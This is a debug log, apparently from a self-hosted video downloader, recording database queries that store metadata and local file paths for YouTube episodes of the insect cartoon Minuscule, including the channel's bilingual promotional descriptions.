("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un Monde de Brutes/A Cruel World (Season 1)", "a321e6ac-ea7d-4a89-87bc-0740413f62c0", "ZbSRH5kTU1A", 347, false, 4, "https://www.youtube.com/watch?v=ZbSRH5kTU1A", 130, "/downloads/Miniscule Season 1/2019-07-16 Minuscule - Un Monde de Brutes⧸A Cruel World (Season 1)/Minuscule - Un Monde de Brutes⧸A Cruel World (Season 1) [ZbSRH5kTU1A].mp4", false, false, false, [], 1, ~U[2019-07-16 10:30:00Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un Monde de Brutes/A Cruel World (Season 1)", "ZbSRH5kTU1A", 347, false, 4, "https://www.youtube.com/watch?v=ZbSRH5kTU1A", "/downloads/Miniscule Season 1/2019-07-16 Minuscule - Un Monde de Brutes⧸A Cruel World (Season 1)/Minuscule - Un Monde de Brutes⧸A Cruel World (Season 1) [ZbSRH5kTU1A].mp4", false, ~U[2019-07-16 10:30:00Z]] 00:54:35.648 [debug] QUERY OK source="sources" db=0.4ms idle=14.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.649 [debug] QUERY OK source="media_items" db=0.8ms idle=12.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-05 14:30:00Z], 4] 00:54:35.653 [debug] QUERY OK source="media_items" db=2.8ms idle=13.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Torpedo (Season 1)", "0d88cc38-a58f-4a5f-b3f5-6a1a552f5ea3", "A5G3MuMhDWw", 340, false, 4, "https://www.youtube.com/watch?v=A5G3MuMhDWw", 139, "/downloads/Miniscule Season 1/2019-06-05 Minuscule - Torpedo (Season 1)/Minuscule - Torpedo (Season 1) [A5G3MuMhDWw].mkv", false, false, false, [], 1, ~U[2019-06-05 14:30:00Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Torpedo (Season 1)", "A5G3MuMhDWw", 340, false, 4, "https://www.youtube.com/watch?v=A5G3MuMhDWw", "/downloads/Miniscule Season 1/2019-06-05 Minuscule - Torpedo (Season 1)/Minuscule - Torpedo (Season 1) [A5G3MuMhDWw].mkv", false, ~U[2019-06-05 14:30:00Z]] 00:54:35.654 [debug] QUERY OK source="sources" db=0.4ms idle=16.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.656 [debug] QUERY OK source="media_items" db=0.8ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-10-10 10:50:57Z], 4] 00:54:35.658 [debug] QUERY OK source="media_items" db=1.9ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Minuscule - The Dung Beetle Battle / Bouse de là (Season 1)\n\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The Dung Beetle Battle / Bouse de là (Season 1)", "9360bdde-c053-4316-8509-02d821a1ca8c", "lOl7HzVVlN0", 364, false, 4, "https://www.youtube.com/watch?v=lOl7HzVVlN0", 141, "/downloads/Miniscule Season 1/2014-10-10 Minuscule - The Dung Beetle Battle ⧸ Bouse de là (Season 1)/Minuscule - The Dung Beetle Battle ⧸ Bouse de là (Season 1) [lOl7HzVVlN0].mp4", false, false, false, [], 1, ~U[2014-10-10 10:50:57Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "Minuscule - The Dung Beetle Battle / Bouse de là (Season 1)\n\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The Dung Beetle Battle / Bouse de là (Season 1)", "lOl7HzVVlN0", 364, false, 4, "https://www.youtube.com/watch?v=lOl7HzVVlN0", "/downloads/Miniscule Season 1/2014-10-10 Minuscule - The Dung Beetle Battle ⧸ Bouse de là (Season 1)/Minuscule - The Dung Beetle Battle ⧸ Bouse de là (Season 1) [lOl7HzVVlN0].mp4", false, ~U[2014-10-10 10:50:57Z]] 00:54:35.659 [debug] QUERY OK source="sources" db=0.3ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.660 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-08-14 08:58:24Z], 4] 00:54:35.663 [debug] QUERY OK source="media_items" db=1.9ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Minuscule - Caterpillars in Pairs/Deux Chenilles (Season 1)\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\nAvez-vous vu le film Minuscule / Have you seen the movie Minuscule ? http://bit.ly/1tqewSh\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Caterpillars in Pairs / Deux Chenilles (Season 1)", "fd32a3bd-4d3b-4199-bae9-3f53ec619e3e", "z0TmSWm_w5U", 349, false, 4, "https://www.youtube.com/watch?v=z0TmSWm_w5U", 142, "/downloads/Miniscule Season 1/2014-08-14 Minuscule - Caterpillars in Pairs ⧸ Deux Chenilles (Season 1)/Minuscule - Caterpillars in Pairs ⧸ Deux Chenilles (Season 1) [z0TmSWm_w5U].mp4", false, false, false, [], 1, ~U[2014-08-14 08:58:24Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "Minuscule - Caterpillars in Pairs/Deux Chenilles (Season 1)\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\nAvez-vous vu le film Minuscule / Have you seen the movie Minuscule ? http://bit.ly/1tqewSh\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Caterpillars in Pairs / Deux Chenilles (Season 1)", "z0TmSWm_w5U", 349, false, 4, "https://www.youtube.com/watch?v=z0TmSWm_w5U", "/downloads/Miniscule Season 1/2014-08-14 Minuscule - Caterpillars in Pairs ⧸ Deux Chenilles (Season 1)/Minuscule - Caterpillars in Pairs ⧸ Deux Chenilles (Season 1) [z0TmSWm_w5U].mp4", false, ~U[2014-08-14 08:58:24Z]] 00:54:35.664 [debug] QUERY OK source="sources" db=0.4ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.665 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2013-12-06 18:06:07Z], 4] 00:54:35.670 [debug] QUERY OK source="media_items" db=2.9ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Nap Time / L'heure de la sieste (Season 1)", "083ae442-b12f-40ef-9b4f-db4c4f39230d", "68G3ncJUmYo", 351, false, 4, "https://www.youtube.com/watch?v=68G3ncJUmYo", 144, "/downloads/Miniscule Season 1/2013-12-06 Minuscule - Nap Time ⧸ L'heure de la sieste (Season 1)/Minuscule - Nap Time ⧸ L'heure de la sieste (Season 1) [68G3ncJUmYo].mp4", false, false, false, [], 1, ~U[2013-12-06 18:06:07Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Nap Time / L'heure de la sieste (Season 1)", "68G3ncJUmYo", 351, false, 4, "https://www.youtube.com/watch?v=68G3ncJUmYo", "/downloads/Miniscule Season 1/2013-12-06 Minuscule - Nap Time ⧸ L'heure de la sieste (Season 1)/Minuscule - Nap Time ⧸ L'heure de la sieste (Season 1) [68G3ncJUmYo].mp4", false, ~U[2013-12-06 18:06:07Z]] 00:54:35.670 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.672 [debug] QUERY OK source="media_items" db=0.8ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2013-10-31 14:57:12Z], 4] 00:54:35.676 [debug] QUERY OK source="media_items" db=3.0ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Halloween Parano (Season 1)", "cda18927-a919-4b9c-92a7-1eb379a75622", "bXJ1WvXuShs", 422, false, 4, "https://www.youtube.com/watch?v=bXJ1WvXuShs", 145, "/downloads/Miniscule Season 1/2013-10-31 Minuscule - Halloween Parano (Season 1)/Minuscule - Halloween Parano (Season 1) [bXJ1WvXuShs].mp4", false, false, false, [], 1, ~U[2013-10-31 14:57:12Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : 